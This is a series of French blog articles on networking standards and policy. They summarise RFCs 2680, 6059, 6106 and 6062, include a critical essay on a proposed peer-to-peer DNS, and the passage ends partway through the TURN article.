1458 bytes from 198.51.100.80: icmp_seq=1 ttl=46 time=168 ms
1458 bytes from 198.51.100.80: icmp_seq=5 ttl=46 time=167 ms
1458 bytes from 198.51.100.80: icmp_seq=6 ttl=46 time=167 ms
1458 bytes from 198.51.100.80: icmp_seq=9 ttl=46 time=169 ms
1458 bytes from 198.51.100.80: icmp_seq=10 ttl=46 time=167 ms
1458 bytes from 198.51.100.80: icmp_seq=13 ttl=46 time=168 ms
1458 bytes from 198.51.100.80: icmp_seq=15 ttl=46 time=168 ms
1458 bytes from 198.51.100.80: icmp_seq=18 ttl=46 time=167 ms
--- 198.51.100.80 ping statistics ---
19 packets transmitted, 8 received, 57% packet loss, time 18013ms
rtt min/avg/max/mdev = 167.407/168.034/169.066/0.639 ms

Mais les mesures aller-retour ont bien des limites :

  • Si le chemin est asymétrique, on mesure en fait les performances de deux chemins, l'aller et le retour, qui n'ont pas forcément les mêmes caractéristiques. Même si le chemin est symétrique (passage par les mêmes routeurs à l'aller et au retour), rien ne dit que les résultats soient les mêmes dans les deux sens : files d'attente différentes, QoS peut-être réglée différemment, etc.
  • Beaucoup d'applications, par exemple les transferts de fichiers, voient leurs performances dépendre essentiellement d'un seul chemin (pour un transfert de fichiers, celui que suivent les données, pas le chemin inverse par lequel ne transitent que les petits accusés de réception).

Mais les mesures aller-simple sont plus difficiles à effectuer entre autres parce qu'elles ont souvent besoin d'horloges synchronisées (section 1.2). Le principe de la mesure de notre métrique est en effet d'émettre un paquet depuis la machine source à un temps T et de l'attendre à la machine destination jusqu'au temps T + t (où t est le délai qu'on accepte d'attendre). Si les deux machines ne sont pas synchronisées, leurs mesures de T vont différer, faussant ainsi les résultats. La section 1.2 rappelle donc le vocabulaire à utiliser pour évaluer la synchronisation. Les gourous de l'horlogerie verront qu'il est différent de celui des documents UIT comme le G.810, « Definitions and terminology for synchronization networks ».

  • Synchronisation (synchronization) signifie que deux horloges sont d'accord entre elles sur l'heure qu'il est (time error pour l'UIT).
  • Correction (accuracy) désigne le degré d'accord entre une horloge et la vraie heure UTC (time error from UTC pour l'UIT). Deux horloges peuvent donc être synchronisées et néanmoins incorrectes.
  • Résolution (resolution) est la précision de l'horloge. Certains vieux Unix n'avancent ainsi l'horloge que toutes les dix ms et sa résolution est donc de 10 ms (cela se voyait bien avec la commande ping, qui n'affichait que des RTT multiples de 10). L'UIT dit sampling period.
  • Décalage (skew) est le changement dans la synchronisation ou la correction. Il se produit lorsque l'horloge va plus ou moins vite qu'elle ne le devrait. L'UIT appelle cela time drift.

Une fois ces préliminaires achevés, la section 2 décrit la métrique principale de notre RFC, Type-P-One-way-Packet-Loss. Sa valeur est simplement 0 lorsque le paquet est arrivé et 1 autrement.

Il y a bien sûr davantage de choses à dire sur cette métrique. Par exemple (section 2.5), faut-il distinguer le cas où un paquet a vraiment été perdu et le cas où il est simplement arrivé en retard, après l'expiration du délai ? En théorie, on devrait attendre 255 secondes, la durée de vie maximale d'un paquet IP (RFC 791, section 3.2). En pratique, on attendra moins longtemps : après tout, pour beaucoup d'applications, un paquet en retard n'a aucun intérêt, on peut aussi bien le considérer comme perdu. C'est l'approche retenue ici.

Et si le paquet arrive corrompu, le considère-t-on comme perdu ? Là encore, oui, pas de distinction. En effet, si le paquet est corrompu, on ne peut même pas être sûr qu'il était bien le paquet attendu, puisque les bits qui permettent de le reconnaître sont peut-être ceux qui ont été changés.

Même chose si le paquet est fragmenté et que certains des fragments n'arrivent pas à tout. On ne peut pas reconstituer le paquet, on le considère comme perdu. En revanche, la duplication, elle, n'est pas considérée comme une perte.

Notre RFC 2680 décrit une métrique (une grandeur définie rigoureusement), pas une méthodologie de mesure, encore moins un protocole. Toutefois, la section 2.6 donne des indications sur ce que pourrait être une telle méthodologie. Le mécanisme recommandé est de mettre une estampille temporelle dans le paquet émis, et de regarder à l'arrivée si on détecte le paquet au bout d'un temps « raisonnable ». À noter que cette méthode n'implique pas une stricte synchronisation des horloges entre les deux machines. On est loin d'un protocole complet (je n'ai pas l'impression qu'il ait jamais été mis au point) et, par exemple, on n'indique pas comment la destination sait qu'elle doit s'attendre à voir arriver un paquet.

Toute mesure implique des erreurs et des incertitudes et la section 2.7 les analyse. D'abord, si les horloges ne sont pas synchronisées du tout, un paquet peut être déclaré comme perdu à tort (si l'émetteur a une horloge qui retarde, le paquet arrivera tard et le destinataire aura pu s'impatienter et le considéré perdu). Même problème si le délai d'attente n'est pas raisonnable, si le destinataire renonce trop vite. Ces deux problèmes peuvent être évités en synchronisant à peu près les horloges (il suffit que leur écart soit petit par rapport au délai d'attente) et en choisissant bien le délai (par exemple, sur une liaison utilisant un satellite géostationnaire, la finitude de la vitesse de la lumière impose un délai d'attente minimum de 240 ms - 2 * 35 786 / 300 000).

Une troisième source d'erreur est plus subtile : le paquet peut arriver jusqu'à la machine de destination (donc le réseau fonctionne bien) mais celle-ci le rejeter car ses ressources (par exemple les tampons d'entrée/sortie) sont pleines. Pour éviter de compter à tort des paquets comme perdus, il faut s'assurer que la machine de mesure a des ressources suffisantes pour traiter tous les paquets.

La métrique présentée en section 2 était pour un paquet. La section 3 définit une métrique supplémentaires, Type-P-One-way-Packet-Loss-Poisson-Stream pour le cas où on utilise plusieurs paquets. Et la section 4 s'en sert pour définir une statistique utile. Type-P-One-way-Packet-Loss-Average (section 4.1) est le taux de pertes moyen. Si on envoie cinq paquets et que quatre arrivent, elle vaut 0,2 (c'est ce qu'affiche ping sous l'intitulé % packet loss).

Cette moyenne n'est pas toujours facile à évaluer. Ainsi, sur un lien Internet typique, le taux de pertes est bas (nettement moins de 1 %). Pour obtenir une valeur statistiquement significative, il faut souvent tester avec des centaines de paquets. Comme le note la section 5, consacrée à la sécurité, c'est un problème courant des mesures actives : elles peuvent perturber le réseau qu'elle observent.

Ce RFC 2680 a par la suite été évalué dans le RFC 7290, avec des résultats positifs. Cela a mené à son évolution en RFC 7680


Téléchargez le RFC 2680


L'article seul

Un DNS en pair-à-pair ?

Première rédaction de cet article le 2 décembre 2010


D'innombrables électrons ont été agités sur toute la planète pour écrire des articles de blogs (ou leurs commentaires), des tweets ou des messages sur les listes de diffusion, au sujet du projet de Peter Sunde d'un « DNS pair-à-pair ». Je le reconnais, j'écris cet article en mode grognon : je suis jaloux de Peter Sunde, à qui il suffit de parler vaguement en 140 caractères d'un projet à peine défini pour obtenir aussitôt l'attention de tous. Cela illustre malheuresement le fonctionnement de l'« économie de l'attention » lorsque le vedettariat s'en mêle. Mais revenons à ce projet. En quoi consiste-t-il et que peut-on en dire ?

D'abord, un peu de contexte. Les insatisfactions quant à la manière dont est géré le système de noms de domaines sont anciennes. Étant hiérarchique (et non pas centralisé, comme beaucoup d'ignorants l'ont écrit), ce système prête à l'attention de gens peu recommandables et d'innombrables problèmes ont surgi autour du contrôle de ce système, pour lequel de très nombreuses réunions dans des destinations touristiques se sont déjà tenues. Le pouvoir sur la racine de ce système, géré par le gouvernement des États-Unis via l'ICANN a ainsi souvent été contesté, et l'ICANN affublée de divers noms d'oiseaux. Plus récemment, le scandaleux projet de loi COICA aux États-Unis a attiré l'attention sur le risque d'un contrôle de l'Internet via le DNS, au profit, dans le cas de COICA, de l'industrie du divertissement. Sans même attendre un éventuel vote de COICA, le gouvernement états-unien a procédé en novembre 2010 à la destruction d'un certain nombre de noms de domaines, au nom de la défense de ladite industrie. Le problème n'est évidemment pas spécifique aux États-Unis et, en France, le projet de loi LOPPSI prévoit un filtrage obligatoire de noms qui déplaisent au gouvernement, filtrage dont la mise en œuvre pourrait se faire via le DNS (au début, ce filtrage serait limité aux cas de pédopornographie mais l'histoire monte qu'un tel pouvoir de contrôle est toujours généralisé par la suite). La pression des titulaires de propriété intellectuelle existe aussi dans ce pays et une récente proposition de loi pour remplacer celle que le Conseil Constitutionnel avait cassée en octobre 2010 prévoit d'interdire l'enregistrement d'un nom correspondant à une marque (même sans intention malhonnête : si cette loi était adoptée et appliquée strictement, un M. Michelin ne pourrait pas enregistrer de domaine à son propre nom puisque c'est aussi une marque). (Un lecteur attentif me fait remarquer que ma présentation de cette proposition est résumée au point d'être à la limite de l'inexact. Mais mon but est de parler du projet « P2P DNS » et d'introduire cette discussion par un exemple des pressions existant sur le DNS. Pour la proposition de loi sur la gestion de .fr, le mieux est de la lire directement, de consulter les bons auteurs qui l'ont commentée, de la mettre en perspective - la jurisprudence - et d'écrire à votre député ensuite.)

Depuis l'annonce du projet de Peter Sunde, l'affaire WikiLeaks a d'ailleurs très bien illustré ces pressions contre la liberté d'expression, et les risques qu'il y a mettre tous les œufs dans le même panier (wikileaks.org est en panne depuis des jours car il n'y avait qu'un seul hébergeur DNS.)

On voit donc que les frustrations sont nombreuses et légitimes. Historiquement, elles ont mené à divers projets (et la plupart des articles sur le projet de Peter Sunde ne les mentionnent pas, probablement par ignorance de l'histoire), soit de créer des racines alternatives permettant de court-circuiter l'ICANN, voire les registres existants, soit de mettre au point des systèmes de résolutions de noms n'utilisant pas la hiérarchie du DNS, par exemple à base de DHT comme le très intéressant projet CoDoNS ou d'autres méthodes comme le ANDNA de Netsukuku ou comme Askemos. Avant toute mise en route d'un nouveau projet, il faudrait donc commencer par s'informer et se demander pourquoi ces projets, dont certains (comme CoDoNS ou comme la racine alternative ORSN) étaient très sérieux, n'ont jamais connu de déploiement significatif. Sinon, on agitera beaucoup d'air pour se retrouver face au même échec.

Maintenant, place au projet « P2P DNS ». Si on n'est pas un fanboy, il est difficile de l'analyser, de l'approuver ou de le critiquer, car il est très peu défini. Il y a de vagues idées, des propositions dont on ne sait pas si elles seront retenues ou pas, des grandes déclarations, bref, pour l'instant, c'est du niveau de l'idée de bistrot. Certes, beaucoup de grandes idées sont nées dans un bistrot mais, au bout d'un moment, elles en sont sorties et se sont confrontées au réel. Pour l'instant, avec le projet « P2P DNS », toutes les remarques critiques sont reçues par l'argument que rien n'est encore défini. Je vais donc devoir me contenter de remarques générales.

D'abord, il y a deux services fondamentaux que rend le DNS : l'enregistrement de noms et la résolution de noms. Historiquement, le terme de « Domain Name System » désignait les deux, comme si elles étaient forcément liées. Mais ce n'est pas le cas, même si le service d'enregistrement de noms et le protocole de résolution (le DNS, normalisé dans les RFC 1034 et RFC 1035) ont des interactions (tous les deux utilisent un mécanisme arborescent, par exemple). Le mécanisme d'enregistrement assure l'unicité des noms (une de ses fonctions les plus importantes) et celui de résolution permet à une machine d'obtenir des informations (par exemple des adresses IP) en échange d'un nom de domaine. On pourrait donc envisager de ne remplacer que l'un d'eux, ce qui est exactement ce que faisait CoDoNS (qui remplaçait la fonction de résolution par une DHT, en gardant le mécanisme d'enregistrement). Changer le mécanisme de résolution, quoique une tâche colossale (il faudrait modifier des centaines de milliers de machines) reste possible. Il existe d'ailleurs déjà aujourd'hui des mécanismes alternatifs (comme des fichiers de noms locaux). Changer le système de nommage et d'enregistrement, que tant d'utilisateurs (bien plus compliqués à mettre à jour que les logiciels) connaissent paraît franchement irréaliste.

Or, on ne sait pas à quelle fonction veut s'attaquer le projet « P2P DNS ». Le message original de Peter Sunde mentionnait juste la création d'une racine alternative, donc un changement du mécanisme d'enregistrement. Mais d'autres parlent de créer un nouveau TLD, .p2p, d'autres de remplacer le DNS par BitTorrent. Difficile d'y voir clair. On a l'impression qu'il y a en fait plusieurs projets différents, chacun avec un cahier des charges distincts et n'ayant en commun que leur insatisfaction du système actuel.

Car ces discussions sur le projet parlent rarement de ce qui devrait être le principal problème : quels services rend-t-on ?. Le DNS fournit des noms uniques, relativement mémorisables par un humain et qui peuvent être résolus par un programme (cette résolution était traditionnellement faite de manière assez peu sûre, ce que DNSSEC arrangera peut-être). Et il fonctionne depuis plus de vingt ans, malgré les changements considérables qu'a connu l'Internet. L'enregistrement d'un nom nécessite de passer par les règles d'enregistrement d'un registre et, bien qu'ils aient fâcheusement tendance à se copier les uns les autres (la pensée unique frappe ici aussi), cela laisse un certain choix à l'utilisateur (d'autant plus que le registre n'est pas forcément un TLD, il existe des registres à tous les niveaux comme eu.org).

Plusieurs articles sur le sujet ont mentionné la participation d'une des organisations qui font encore tourner une racine alternative, OpenNIC, qui vend des noms dans des TLD bidons comme .free. OpenNIC pourrait être le registre de .p2p et il existe déjà une page Web décrivant le projet. Dans ce cas, les problèmes qu'on a actuellement avec l'ICANN, l'AFNIC ou Verisign seraient simplement déplacés vers OpenNIC. Comme toujours en politique, il n'y a pas de raccourci simple : si on transfère le pouvoir d'un acteur à l'autre, on n'a résolu aucun problème. Quelle politique suivra ce nouveau registre ? La page ci-dessus ne permet pas d'être optimiste, avec comme seule idée, celle de privilégier les gros, ceux qui sont premiers dans le classement d'Alexa : « To prevent domain fraud on commonly used domains (eg: google.*) alexa top1000 will be locked to the owner of the highest ranking domain that appears on the alexa rankings. ».

D'autres possibilités d'un nouveau registre ont été émises, du genre « A widely distributed group of trustworthy individuals [...] Sure it's "centralized" to a small group of people, but they are not ICANN or the RIAA. ». Elles sont, politiquement, tout aussi contestables : les individus honnêtes ne le restent pas quand on leur donne un tel pouvoir.

Si on veut passer à un autre système, il faut voir ce qu'on va abandonner. Il n'existe pas de solution magique qui résoudrait tous les problèmes en n'ayant aucun inconvénient. Ce problème, quoique ignoré par la plupart des admirateurs qui tombent en pâmoison devant toute déclaration de Peter Sunde, est pourtant bien connu dans le milieu du pair-à-pair. Ainsi, pour trouver un fichier dans un réseau pair-à-pair, soit on utilise un système hiérarchique (c'est le cas du BitTorrent classique où la récupération du fichier .torrent passe par un URL donc un nom de domaine), soit on fonctionne de manière complètement pair-à-pair et, dans ce cas, il n'y a plus d'unicité : le même nom peut désigner deux fichiers totalement différentes (une énorme différence avec les URL). C'est ce qui se produit avec les racines alternatives : s'il n'existe pas de racine unique (RFC 2826), alors le même nom (par exemple stopthecavalry.jona-lewie.mp3, exemple relativement réaliste puisqu'il existe effectivement plusieurs TLD .mp3 différents dans plusieurs racines alternatives) peut être enregistré par deux entités différentes et avoir des contenus complètement différents.

Est-ce si grave ? Cela dépend. On peut estimer que le plaisir d'être débarassé de l'ICANN, des registres et de toute cette cuisine vaut bien qu'on supporte quelques inconvénients. C'est un choix possible. Mais je ne l'ai vu mentionné explicitement et clairement que dans un seul des articles consacrés au projet « DNS P2P » (« And yes, it's not going to be secure and authenticated like the present system. We're just going to have to deal with that. »), les autres semblaient tout simplement ignorants du problème.

(Un point technique : je connais au moins un algorithme, dû à Emin Gun Sirer, d'enregistrement de noms uniques en pair-à-pair, sans registre central, à condition que toutes les parties coopèrent. Il n'est pas utilisable en pratique pour cette raison mais je suis preneur d'algorithmes plus astucieux.)

Et si on change le système de résolution, que gagne-t-on et que perd-t-on ? D'abord, il faut préciser que le DNS actuel est fondé sur plus de vingt ans d'expérience avec le monde réel. Tout mécanisme autre (et ceux à base de DHT sont techniquement très intéressants, et méritent certainement l'attention de tout informaticien ambitieux) mettrait sans doute des années avant d'être au point et une longue coexistence est à prévoir. On est loin des vantardises de geeks qui se voient remplacer les opérateurs DNS actuels en trois mois. Ensuite, il reste des problèmes colossaux à résoudre. L'un d'eux est la sécurité de la résolution de noms. Actuellement, dans la très grande majorité des cas, la confiance dans le résultat de la résolution vient du fait qu'on s'est adressé à un serveur connu. En pair-à-pair, ce mécanisme de validation disparait. N'importe qui peut mettre n'importe quoi dans la DHT et il n'y a plus de serveur faisant autorité. CoDoNS résolvait le problème en imposant DNSSEC ce qui était techniquement correct mais on retombe alors sur le fait qu'on a juste changé le système de résolution (CoDoNS visait surtout la résistance aux DoS, quitte à exagérer). L'infrastructure d'enregistrement reste la même, avec ses défauts (DNSSEC utilise l'arborescence du DNS pour la validation des signatures.) Il est du reste très probable qu'il ne peut pas y avoir de sécurité dans un système purement pair-à-pair (c'est-à-dire sans aucun composant privilégié).

Voici pour les objections pratiques. Mais il y a aussi un problème plus de fond : la question d'origine est à 100 % politique, elle porte sur le contrôle, la liberté, la censure. Il n'existe jamais de solution technique à des problèmes politiques. À un moment, il faut affronter le système et le changer. Autrement, celui-ci trouvera toujours un moyen de vous écraser. Si vous n'utilisez pas le DNS, ce sera via BGP ou via le filtrage IP. Malgré les déclamations ostentatoires et ridicules (comme « Internet treats censorship as a damage and routes around it »), il est illusoire de croire qu'on puisse résoudre des problèmes aussi graves que les atteintes aux libertés fondamentales via des astuces techniques.

Quelques articles intéressants :


L'article seul

RFC 6059: Simple procedures for Detecting Network Attachment in IPv6

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : S. Krishnan (Ericsson), G. Daley (NetStar Networks)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dna
Première rédaction de cet article le 2 décembre 2010


Un engin mobile connecté à l'Internet change souvent de réseau. Il se déplace, s'attache à un autre réseau, perd le contact avec la borne WiFi, retrouve du 3G un peu plus loin et, chaque fois, il peut se retrouver sur un réseau différent, avec des paramètres différents mais aussi parfois sur un réseau déjà visité, auquel cas il peut peut-être réutiliser tout de suite des paramètres mémorisés. Il est donc nécessaire de pouvoir déterminer rapidement à quel réseau on est attaché, et si les paramètres précédents sont toujours valables. C'est le but de la méthode exposée dans ce RFC, équivalent IPv6 du RFC 4436.

Le but, comme exposé par la section 2.1, est donc de rendre la mobilité plus agréable, sans avoir à changer les routeurs, sans dégrader le service existant (par exemple, le temps de réponse ne doit jamais être pire qu'avec les méthodes actuelles), en acceptant des faux négatifs (un réseau déjà visité n'est pas reconnu) mais jamais les faux positifs (un réseau nouveau est pris à tort pour un réseau connu).

A-t-on besoin d'un nouveau protocole pour cela ? Après tout (section 2.2), il existe déjà la procédure standard de Neighbor Discovery du RFC 4861. Le nouveau Simple DNA ne sera pas une amélioration de ND dans tous les cas mais il aidera dans certains, notamment ceux où l'engin se déplace régulièrement parmi un ensemble de quelques réseaux. Si le réseau est complètement nouveau, Simple DNA n'apportera rien (mais n'aura pas d'inconvénients). De même, Simple DNA n'aidera pas pour le cas où le réseau est statiquement configuré, il ne marche qu'avec les adresses allouées par Router Advertisement (RFC 4862) ou DHCP (RFC 8415).

Simple DNA va fonctionner en interrogeant les routeurs connus pour voir s'ils sont toujours là. Une autre approche aurait été possible, en interrogeant les couches basses (section 2.3) pour voir si l'attachement au réseau n'avait pas changé (par exemple, même si le RFC ne le mentionne pas, en WiFi, on peut regarder le SSID et l'adresse MAC de la borne). Mais cette méthode aurait été moins générale.

Donc, comment fonctionne ce Simple DNA (section 2.4) ? Le fait d'être connecté à un réseau est signalé par les couches basses (Link Up en Ethernet ou WiFi). Reste à trouver à quel réseau on est connecté. Simple DNA utilise à la fois des paquets unicast Neighbor Solicitation (RFC 4861, section 7.2.2) et des paquets multicast Router Solicitation (RFC 4861, section 6.3.7) pour tester les routeurs dont il se souvient. Si aucun ne répond, Simple DNA passe aux procédures normales, Stateless address autoconfiguration ou bien DHCP. Le fait de se servir de Neighbor Solicitation permettra d'obtenir une réponse plus rapide (les routeurs ne répondent pas instantanément aux Router Solicitation).

Bien sûr, dans la réalité, tout ne se passe pas aussi bien. Simple DNA dépend de plusieurs choses, résumées par la section 2.5 : le fait que le couple {adresse MAC du routeur, adresse IP du routeur locale au lien} soit unique et le fait que les machines sont prévenues lorsque le lien physique devient fonctionnel (RFC 4957 et section 5.4 de notre RFC).

La section 4 note ensuite que la mise en œuvre complète de l'algorithme nécessite une nouvelle structure de données, la SDAT (Simple DNA Address Table). Elle va contenir la liste des routeurs déjà vus et est donc composée d'entrées indexées par le couple {adresse MAC du routeur, adresse IP du routeur locale au lien}. Elle contiendra les informations suivantes : l'information a-t-elle été obtenue par DHCP ou bien autoconfiguration sans état, adresse IP de la machine, durée de vie, préfixe utilisé, l'information a-t-elle été sécurisée par SEND, ainsi que des informations spécifiques à DHCP. Ainsi, si Simple DNA trouve qu'un réseau a déjà été visité, il a toutes les informations sous la main pour configurer immédiatement l'interface réseau.

La marche exacte à suivre de la part de la machine qui se trouve connectée est détaillée en section 5 (avec une représentation en pseudo-code en section 6). La section 5.5 décrit ainsi l'envoi des paquets de sondage (un Router Solicitation pour voir si un routeur répond, des Neighbor Solicitations pour tester les routeurs dont on se souvient, six au maximum à la fois, pour ne pas surcharger le réseau). C'est là qu'est précisé le fait que ces paquets de sondage devraient être envoyés en parallèle, pour diminuer le temps total de l'opération (et garantir ainsi que Simple DNA ne prendra jamais plus de temps qu'une méthode classique).

Le traitement des réponses est en section 5.7 : il est important que la machine vérifie que les adresses MAC correspondent bien à ce dont elle se souvient. Sinon, cela signifie que le réseau est en fait différent et qu'il faut abandonner Simple DNA pour revenir à la méthode habituelle. Naturellement, si on reçoit un Router Advertisement normal, il faut l'utiliser, quelles que soient les informations stockées dans la table SDAT.

Bien plus embêtant est le cas où les informations recueillies sont incohérentes (section 5.7.3). Par exemple, si le test d'un routeur avec le Neighbor Solicitation ne coïncide pas avec les Router Advertisement reçus. Dans ce cas, le RFC décide qu'il faut croire le Router Advertisement (sauf si SEND est utilisé). Si le conflit est entre des tests par Neighbor Solicitation et DHCP, il faut faire confiance à DHCP.

Autres recommandations, ne pas effectuer de tests de duplication d'adresses (RFC 4862, section 5.4) si on retourne à un réseau connu et ne pas insister éternellement si les Neighbor Solicitations ne ramènent pas de réponses du tout : ce cas veut sans doute dire simplement que le réseau ne marche pas.

Ah, et si on tient à faire de l'IPv4 ? La section 8 rappelle que IPv4 a aussi un système équivalent (RFC 4436) mais qui suit un algorithme très différent (IPv4 n'a pas de Router Advertisement, par exemple).

Enfin, comme avec toutes les techniques de configuration automatiques ou semi-automatiques, il y a un sérieux problème de sécurité (section 10). Les messages reçus peuvent être des faux. À part utiliser SEND (RFC 3971), il n'y a pas de solution miracle, et la seule recommandation de notre RFC est de veiller à ce que des informations non sécurisées par SEND ne remplacent pas des informations sécurisées. Autrement dit, si on avait visité un réseau qui avait un routeur SEND et, qu'en revenant sur un réseau qui semble le même, on reçoit des Router Advertisement non-SEND, il ne faut pas les utiliser. (J'ai d'ailleurs bien l'impression que, si on suit strictement les règles du RFC, on ne pourra jamais se connecter à un réseau qui avait SEND mais a choisi ensuite de l'abandonner, sauf à vider la SDAT à la main.)

Reléguée en annexe A, une dernière recommandation. Bien que le DNA de IPv4 puisse se combiner avec des adresses manuellement configurées, les problèmes que cela a soulevé (notamment pour les réseaux qui utilisaient à la fois des adresses manuelles et des automatiques) font que DNA IPv6 déconseille formellement son utilisation dans les cas où l'adresse a été fixée à la main par l'administrateur système.


Téléchargez le RFC 6059


L'article seul

RFC 6106: IPv6 Router Advertisement Options for DNS Configuration

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : J. Jeong (Brocade/ETRI), S. Park (Samsung), L. Belœil (France Telecom R&D), S. Madanapalli (Ordyn)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF 6man
Première rédaction de cet article le 30 novembre 2010
Dernière mise à jour le 22 décembre 2010


Il existe deux méthodes pour configurer une machine IPv6 automatiquement, DHCP (RFC 8415) et RA (Router Advertisement, RFC 4862). Pendant longtemps, l'avantage de la première était de pouvoir indiquer d'autres informations que l'adresse IP, comme par exemple les adresses des serveurs DNS. Le RFC 5006 avait apporté cette possibilité à la configuration par RA. Mais son statut n'était qu'expérimental. Désormais, voici la même option mais sous la forme d'une vraie norme. (Ce RFC a depuis été à son tour remplacé par le RFC 8106.)

Si on gère un gros réseau, avec de nombreuses machines dont certaines, portables, vont et viennent, s'assurer que toutes ces machines ont les adresses IP des serveurs de noms à utiliser n'est pas trivial (section 1 du RFC). On ne peut évidemment pas utiliser le DNS, cela serait tenter de voler en tirant sur les lacets de ses chaussures. Et configurer à la main les adresses sur chaque machine (par exemple, sur Unix, en les écrivant dans le fichier /etc/hosts) est bien trop difficile à maintenir. Se passer du DNS est hors de question. Pour les machines bi-protocoles (IPv4 et IPv6), une solution possible était d'utiliser un serveur de noms en v4. Mais pour une solution purement v6 ?

La solution la plus populaire actuellement est DHCP (RFC 8415 et RFC 3646). Son principal inconvénient est qu'elle est à état : le serveur DHCP doit se souvenir des baux qu'il a attribué. Sur un gros réseau local, le nombre de requêtes à traiter, chacune nécessitant une écriture dans une base de données, peut devenir très lourd.

Une autre solution est sans état et repose sur une nouveauté d'IPv6, les RA (Router Advertisements, cette méthode est aussi appelée ND, pour Neighbor Discovery, les RA en étant un cas particulier), décrits dans le RFC 4862. Ce sont des messages envoyés à intervalles réguliers par les routeurs et qui informent les machines non-routeuses des caractéristiques essentielles du réseau, comme le préfixe utilisé (par exemple 2001:DB8:BEEF:42::/64). Le routeur diffuse ses messages et n'a pas besoin d'écrire quoi que ce soit sur son disque, ni de faire des traitements compliqués lors d'une sollicitation, il répond toujours par le même message RA.

Ces RA peuvent diffuser diverses informations, par le biais d'un système d'options. Le principe de notre RFC est donc d'utiliser ces RA pour transporter l'information sur les serveurs de noms récursifs utilisables sur le réseau local, via des nouvelles options notamment celle nommée RDNSS (le numéro 25 lui a été affecté par l'IANA).

La section 1.1 du RFC rappelle qu'il existe plusieurs choix, notre RFC 6106 n'étant qu'une possibilité parmi d'autres. Le RFC 4339 contient une discussion plus détaillée de ce problème du choix d'une méthode de configuration des serveurs de noms (notons qu'il existe d'autres méthodes comme l'anycast avec une adresse « bien connue »). La section 1.2 décrit ce qui se passe lorsque plusieurs méthodes (par exemple DHCP et RA) sont utilisées en même temps.

La méthode RA décrite dans notre RFC repose sur deux nouvelles options, RDNSS, déjà citée, et DNSSL, qui n'existait pas dans le RFC précédent (section 4). La première permet de publier les adresses des serveurs de noms, la seconde une liste de domaine à utiliser pour compléter les noms courts (formés d'un seul composant).

La première option, RDNSS, de numéro 25, est décrite en section 5.1. Elle indique une liste d'adresse IPv6 que le client RA mettra dans sa liste locale de serveurs de noms interrogeables.

La seconde option, DNSSL, de numéro 31, est en section 5.2 (les deux options sont enregistrées dans le registre IANA, cf. section 8). Elle publie une liste de domaines, typiquement ceux qui, sur une machine Unix, se retrouveront dans l'option search de /etc/resolv.conf.

Sur Linux, le démon rdnssd permet de recevoir ces RA et de modifier la configuration DNS. Pour FreeBSD, on peut consulter une discussion sur leur liste. Les CPE de Free, les Freebox, émettent de telles options dans leurs RA (apparemment, à la date de publication de notre RFC 6106, uniquement des RDNSS). Voici ce qu'affiche Wireshark :

...
Ethernet II, Src: FreeboxS_c3:83:23 (00:07:cb:c3:83:23), 
             Dst: IPv6mcast_00:00:00:01 (33:33:00:00:00:01)
...
Internet Control Message Protocol v6
    Type: 134 (Router advertisement)
...
    ICMPv6 Option (Recursive DNS Server)
        Type: Recursive DNS Server (25)
        Length: 40
        Reserved
        Lifetime: 600
        Recursive DNS Servers: 2a01:e00::2 (2a01:e00::2)
        Recursive DNS Servers: 2a01:e00::1 (2a01:e00::1)

et les serveurs DNS annoncés répondent correctement. (Vous pouvez récupérer le paquet entier sur pcapr.net.)

Autre mises en œuvre de ces options, dans radvd, qui a déjà l'option RDNSS et bientôt (en décembre 2010) la nouvelle DNSSL (ainsi que pour les logiciels auxiliaires). Quant à Wireshark, le code a déjà été écrit mais n'est pas encore intégré.

La section 6 de notre RFC donne des conseils aux programmeurs qui voudraient mettre en œuvre ce document. Par exemple, sur un système d'exploitation où le client RA tourne dans le noyau (pour configurer les adresses IP) et où la configuration DNS est dans l'espace utilisateur, il faut prévoir un mécanisme de communication, par exemple un démon qui interroge le noyau régulièrement pour savoir s'il doit mettre à jour la configuration DNS.

RA pose divers problèmes de sécurité, tout comme DHCP, d'ailleurs. Le problème de ces techniques est qu'elles sont conçues pour faciliter la vue de l'utilisateur et de l'administrateur réseau et que « faciliter la vie » implique en général de ne pas avoir de fonctions de sécurité difficiles à configurer. La section 7 traite de ce problème, par exemple du risque de se retrouver avec l'adresse d'un serveur DNS méchant qui vous redirigerait n'importe Dieu sait où (les RA ne sont pas authentifiés). Ce risque n'a rien de spécifique aux options DNS, toute la technique RA est vulnérable (par exemple, avec un faux Neighbor Advertisement). Donc, notre RFC n'apporte pas de risque nouveau. Si on considère cette faiblesse de sécurité comme insupportable, la section 7.2 recommande d'utiliser SEND (RFC 3971).

À noter que l'annexe A résume les changements depuis le RFC 5006. Passage sur le chemin des normes, ajout de la nouvelle option DNSSL (DNS Search List) plus diverses précisions sur le protocole. Depuis, le RFC 8106 a été publié et c'est lui qui est désormais la norme pour cette option.

Merci à Alexis La Goutte pour ses informations.


Téléchargez le RFC 6106


L'article seul

RFC 6062: Traversal Using Relays around NAT (TURN) Extensions for TCP Allocations

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : S. Perreault (Viagenie), J. Rosenberg (jdrosen.net)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 30 novembre 2010


Le protocole TURN, qui permet à deux machines coincées derrière des routeurs NAT de communiquer en utilisant un relais tiers, a été normalisé dans le RFC 5766 (remplacé depuis par le RFC 8656), dans une version minimale, uniquement pour IPv4 et seulement pour UDP, les services « incontestables », qui étaient pressés d'avoir une solution. Depuis, des extensions à TURN sont développées pour d'autres services. C'est ainsi que ce RFC 6062 permet d'utiliser TURN pour établir des liaisons avec TCP.

TURN, tel que normalisé dans le RFC 5766, pouvait déjà utiliser TCP entre le client et le relais (le serveur). Mais, en sortie du relais, vers l'autre pair, c'était forcément de l'UDP. Cela posait un problème (section 1 du RFC) lorsque l'autre pair ne pouvait pas faire d'UDP, ou bien lorsque les propriétés de TCP (notamment de fiabilité) étaient nécessaires. Supposons un logiciel d'audio-conférence : le son est typiquement transmis en UDP (car la rapidité est préférable à la fiabilité, pour ce service) mais si on veut ajouter un système permettant aux participants de se montrer des images, TCP est certainement préférable, afin de transférer le fichier représentant l'image. Avec le protocole TURN, cela se nomme une « allocation TCP » et ce sera désormais possible, aussi bien en demandant une session TCP entrant vers un pair, qu'en acceptant une session TCP sortant d'un pair.

